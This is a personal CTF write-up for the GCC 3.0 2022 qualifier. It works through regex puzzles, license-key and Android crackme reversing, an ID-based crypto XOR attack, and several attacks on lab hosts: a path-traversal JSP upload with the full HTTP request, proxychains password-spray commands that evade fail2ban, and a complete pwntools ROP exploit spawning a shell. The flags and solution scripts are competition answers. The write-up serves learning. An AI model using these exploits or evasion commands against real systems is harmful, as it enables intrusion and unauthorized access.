Contents

GCC 3.0 CTF 2022

https://pbs.twimg.com/media/FIxy9OTVcAA79W-?format=jpg&name=4096x4096

I’m super happy on writing this writeup becaue I managed to qualify to join the final of GCC 3.0 2022. Here is my writeup for challenges that I solved during qualification. (Edit: I got third place on the final :D).

Rev

Regexp Challenge

We just need to craft manually our regex per level

  • Level 1
    • \d{8}\D{1}
  • Level 2
    • ^[1,2,3,4,8,9]\D{1}
  • Level 3
    • \d{8}[A]{1}
  • Level 4
    • 7{7,}[A]
  • Level 5
    • .*A
  • Level 6
    • \d*A
  • Level 7
    • \d*\D
  • Level 8
    • \d*[c,h,W,A]
  • Level 9
    • [^-]+
  • Level 10
    • \D{1}-{1}\d{6}\D
  • Level 11
    • \D{1}-{1}\d{3,5}\D
  • Level 12
    • \D{1}(-|\+){1}\d{6}\D
  • Level 13
    • \d{2}\D?\d{5}\D
  • Level 14
    • \d{2}\D?\d{1,3}\D
  • Level 15
    • ((\D\+\d{4,6}\D)|(\D-\d{4}\D))

https://i.imgur.com/s6HIwQF.png

Flag: HL{RegExp-Tyc00n-91234}

License Key Level 1

Serial key was found in this verify function https://i.imgur.com/9rnmPs1.png

Flag: SYIOKLELUIOD

License Key Level 2

The calculated serial was printed in the terminal, so we can simply use it as the flag. https://i.imgur.com/Eql3bup.png

Flag: LBQXULNJPXDE

License Key Level 3

Checking the disassembly code

https://i.imgur.com/m2exSD6.png
From the above image, we found the key
https://i.imgur.com/LjvB31F.png
From the above image, we found the logic to generate the serial

Just translate it into python

1
2
3
4
5
6
key = b'yrtxgfh;olmn'
name = b'cyberpeace'
serial = ''
for i in range(12):
    serial += chr(((key[(i*2) % 12]^name[i % len(name)]) << 2) % 0x19 + ord('B'))
print(serial)

Flag: FDVDRRNKRDYG

License Key Level 4

After reading the disassembly code, we know that the serial char comparison happens at this address https://i.imgur.com/AlN45NT.png

1
  40752d:	44 38 2c 18          	cmp    BYTE PTR [rax+rbx*1],r13b

With the help of GDB, we can simply set breakpoints on it, and retrieve the r13 value. We got our serial key after retrieving the r13 value 12 times.

https://i.imgur.com/U7UlzGH.png

Flag: GEIJBLDJDECA

Crack me Android

I got an apk file, and I try to decompile it with the help of JDK. After reading the result I found the login code in the LoginViewModel.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    public void login(String str) {
        if (checkHooking()) {
            this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.must_not_hook)));
            return;
        }
        try {
            int[] checkPw = checkPw(getCode(str));
            if (checkPw.length > 0) {
                this.loginResult.setValue(new LoginResult(new LoggedInUser(getStringFromCode(checkPw), "Well done you did it.")));
            } else {
                this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.login_failed)));
            }
        } catch (Exception unused) {
            this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.error_logging_in)));
        }
    }

    protected static int[] x0 = {121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33};

    protected int[] getCode(String str) {
        byte[] bytes = str.getBytes();
        int[] iArr = new int[str.length()];
        for (int i = 0; i < str.length(); i++) {
            iArr[i] = bytes[i] ^ x0[i];
        }
        return iArr;
    }

Basically, what it do is our password will be xor-ed with the x0 var, and then the result will be passed to native method called checkPw I extract the native lib so file, and open it on Ghidra. With the help of JNIAnalyzer, I could deduce the password checker that was used in the checkPw method.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
jintArray Java_org_bfe_crackmenative_ui_LoginViewModel_checkPw
                    (JNIEnv *env,jobject thiz,jintArray password)

{
  bool bVar1;
  bool bVar2;
  jintArray new_arr;
  jsize password_length;
  FILE *__stream;
  char *pcVar3;
  jint *curr_char_pass;
  char expected_char;
  long idx;
  jintArray new_arr5;
  long in_FS_OFFSET;
  char local_1038 [4096];
  long local_38;
  
  local_38 = *(long *)(in_FS_OFFSET + 0x28);
  __android_log_write(4,"Native Check","Checking password ...");
  new_arr = (*(*env)->NewIntArray)(env,0);
  password_length = (*(*env)->GetArrayLength)(env,password);
  new_arr5 = new_arr;
  if ((int)password_length == 27) {
    __stream = fopen("/proc/self/maps","r");
    do {
      pcVar3 = fgets(local_1038,0x1000,__stream);
      if (pcVar3 == (char *)0x0) {
        bVar1 = false;
        bVar2 = bVar1;
        if (__stream == (FILE *)0x0) goto LAB_001009f9;
        goto LAB_001009f1;
      }
      pcVar3 = strstr(local_1038,"Xposed");
      bVar1 = true;
    } while ((pcVar3 == (char *)0x0) && (pcVar3 = strstr(local_1038,"frida"), pcVar3 == (char *)0x0)
            );
    bVar2 = true;
    if (__stream != (FILE *)0x0) {
LAB_001009f1:
      bVar1 = bVar2;
      fclose(__stream);
    }
LAB_001009f9:
    if (!bVar1) {
      idx = 0;
      curr_char_pass = (*(*env)->GetIntArrayElements)(env,password,(jboolean *)0x0);
      for (_expected_char = &DAT_00100c8c;
          ((new_arr5 = new_arr,
           ((&DAT_00100b20)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4) ^ *_expected_char) ==
           (&DAT_00100cc0)[idx] && (new_arr5 = password, idx != 26)) &&
          (new_arr5 = new_arr,
          ((&DAT_00100b24)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4 + 4) ^ _expected_char[-1]
          ) == (&DAT_00100cc4)[idx])); _expected_char = _expected_char + -2) {
        idx = idx + 2;
      }
    }
  }
  if (*(long *)(in_FS_OFFSET + 0x28) != local_38) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return new_arr5;
}

Reading the code, we know that the password length is 27, and the native lib have three different keys in the native (key_a which is DAT_00100b20, key_b which is DAT_00100c8c and key_c which is DAT_00100cc0 ). What it do is input[i] ^ key_a[i] ^ key_b[-i] = key_c[i] And merging with the Login logic, the final operation would be password[i] ^ x0[i] ^ key_a[i] ^ key_b[-i] = key_c[i] So to generate the password (which is the flag), we just need to do: password[i] = x0[i] ^ key_a[i] ^ key_b[-i] ^ key_c[i]

Full code:

1
2
3
4
5
6
7
8
key_a = b'\xd0\x45\x28\x76\x6f\xf3\x5a\xf4\xc7\xce\xfb\xc3\x7f\x48\xce\x3c\x3a\x0b\xf1\x53\xb1\x4b\xb9\x5e\xa2\x65\x77'
key_b = b'\x4c\x7b\x73\x6f\x72\x72\x79\x2e\x74\x68\x69\x73\x2e\x69\x73\x2e\x4e\x4f\x54\x2e\x74\x68\x65\x2e\x66\x6c\x61'
key_c = b'\x80\xe3\xda\xc7\x2e\xf1\xa2\x91\x6b\xdc\x6b\xb5\xe5\xaf\x3f\xb9\xee\x5b\x26\x92\x66\xc5\xcb\xde\x81\x79\xda'
x0 = [121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33]
flag = ''
for i in range(27):
    flag += chr(key_a[i]^key_b[-(i+1)]^key_c[i]^x0[i])
print(f'Flag: {flag}')

Flag: HL{J4v4.nativ3.d0.n0t.c4r3}

Web

PLUpload

I try to check /examples folder, and found out that this uses Apache Tomcat. After playing it for a while (especially on the upload feature), I notice that the upload feature doesn’t sanitize ../, which mean we can freely upload the file to any directories. Also inside the examples folder there are a lot of jsp file example that got executed.

My solution is to upload a jsp file to the examples folder path (/examples/jsp/jsp2/el) where the jsp file will open /var/gold.txt file contents.

Below is the jsp file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.File"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.net.URL"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.BufferedReader"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Read Text</title>
    </head>
    <body>
        <%
            String txtFilePath = "/var/gold.txt";
            BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));
            StringBuilder sb = new StringBuilder();
            String line;

            while((line = reader.readLine())!= null){
                sb.append(line+"\n");
            }
            out.println(sb.toString()); 
        %>

    </body>
</html>

Below is the upload request that I use to upload the jsp file to ../../examples/jsp/jsp2/el/cho.jsp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
POST //upload HTTP/1.1
Host: e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------34999802810414628822789368601
Content-Length: 1479
Origin: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land
Connection: close
Referer: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land/
Cookie: JSESSIONID=6E2119D7A2763AC0C88B4888A10C0E8B
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="name"

../../examples/jsp/jsp2/el/cho.jsp
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="chunk"

0
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="chunks"

1
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="file"; filename="cho.jsp"
Content-Type: application/octet-stream

<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.File"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.net.URL"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.BufferedReader"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Read Text</title>
    </head>
    <body>
        <%
            String txtFilePath = "/var/gold.txt";
            BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));
            StringBuilder sb = new StringBuilder();
            String line;

            while((line = reader.readLine())!= null){
                sb.append(line+"\n");
            }
            out.println(sb.toString()); 
        %>

    </body>
</html>
-----------------------------34999802810414628822789368601--

After upload it, we can simply open the file https://i.imgur.com/a0sHb0o.png

Flag: New is always better. - Barney Stinson

Misc

CTF Spray Attack SSH

With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used:

1
proxychains sshpass -p 93370760 ssh -o StrictHostKeyChecking=no user_100283@pwspray.vm.vuln.land -p 22

https://i.imgur.com/mT0j5pe.png

CTF Spray Attack HTTP

With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used:

1
proxychains curl --user user_140244:6ed42dd7 http://pwspray.vm.vuln.land -v

https://i.imgur.com/e3Yuq6D.png

Pwn

CrySYS

We were given a binary that is pretty short

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h>

//gcc -o challenge -no-pie -fno-stack-protector challenges.c
//LD_PRELOAD=./libc-2.27.so ./ld-2.27.so ./challenge

int not_vulnerable(){
	char buf[80];
    return read(0, buf, 0x1000); 
}


int main(){
	not_vulnerable();
    return 0;
}

There is a buffer overflow vulnerability. Because the plt only contains read, we need to do partial overwrite (1 byte) to the read_got value so that we can execute syscall. The idea to gain the shell is:

  • Overwrite RIP to read_plt
  • Overwrite read_got to syscall with read (1 last byte)
  • Rax = 1, If we call read_plt (which now is syscall), we can leak the got address and retrieve the libc base address
  • Set rax to 0
  • Syscall read again to load our second payload into .bss (Second payload will execute system("/bin/sh"))
  • Set rsp to the .bss
  • Pop “/bin/sh” to rdi
  • Ret to system

Below is my full payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

# Chosen BSS
bss = 0x00601030+0x400

# readelf -s libc-2.27.so | grep "read" = 0x0000000000110070
# I choose to redirect it to directly syscall inside read (read+15)
read_offset = 0x000000000011007f

read_plt = 0x00000000004003f0
read_got = 0x601018
syscall = read_plt # We will overwrite read_got to syscall, so basically syscall = read_plt

# ROPGadget result
pop_rdi = 0x0000000000400583 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400581 # pop rsi ; pop r15 ; ret
pop_rsp = 0x000000000040057d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
mov_eax_0_pop_rbp = 0x0000000000400515 # mov eax, 0 ; pop rbp ; ret
ret_address = 0x00000000004003de # ret

libc = ELF('./libc-2.27.so')
r = process('./crySYS_patched')

# Load stage 2 rop
payload = b'a'*80
payload += p64(bss)

payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt) # Overwrite 1 bytes, rax == 1

payload += p64(pop_rdi) + p64(1)
payload += p64(syscall) # rax == 1 == write(1, got_addr)

payload += p64(mov_eax_0_pop_rbp) + p64(bss+72) # Set rax to 0

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0)
payload += p64(syscall) # read(0, bss)

payload += p64(pop_rsp) + p64(bss) # Set rsp to bss
sleep(1)
r.sendline(payload)
log.info('Payload sent...')
sleep(1)

# Overwrite 1 byte of read_got by syscall inside read
r.send(b'\x7f')
log.info('Overwrite read got...')
sleep(1)

# After leaking the address, call system()
leak_syscall_address = u64(r.recvn(8))
libc.address = leak_syscall_address - read_offset
log.info(f'Leaked syscall address: {hex(leak_syscall_address)}')
log.info(f'Leaked libc address: {hex(libc.address)}')

# Craft payload to call system('/bin/sh')
bin_sh_string_addr = next(libc.search(b'/bin/sh'))
payload_3 = p64(0) + p64(0) + p64(0)
payload_3 += p64(pop_rdi) + p64(bin_sh_string_addr)
payload_3 += p64(ret_address) # https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call
payload_3 += p64(libc.symbols['system']) + p64(0) # Call system
sleep(1)
r.send(payload_3)
log.info('Call system("/bin/sh")...')
r.interactive()

https://i.imgur.com/aUb2CRl.png

Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b}

Crypto

IDBased1

After checking with the given ciphertexts consist of encrypted message of ‘This is the test message number x’, there is a collision between the ciphertexts CEO and the test ciphertexts

CEO ciphertexts:

1
(48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v

One of the test ciphertexts:

1
(48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc

BasicIdent ciphertext is like below:

1
v = m xor H2(gID**r)

Because the $rP$ value is the same, we could know that the $H2(g_{ID}^r)$ value of the ceo and the test cipher texts have the same value, which mean

1
2
3
4
ceo_v = b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')
test_v = b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')

ceo_msg = test_v^b'This is the message number'^ceo_v

Full Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
import base64

ceo_v = base64.b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')
flag_len = len(ceo_v)
test_v = base64.b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')
test_msg = b'This is the test message number'

flag = xor(xor(test_v[:flag_len], test_msg[:flag_len]), ceo_v)
print(f'Flag: {flag.decode()}')

We successfully retrieve the flag

Flag: YNOT18{B4DB4DB4DR4NDOMNE55}

Social Media

Follow me on twitter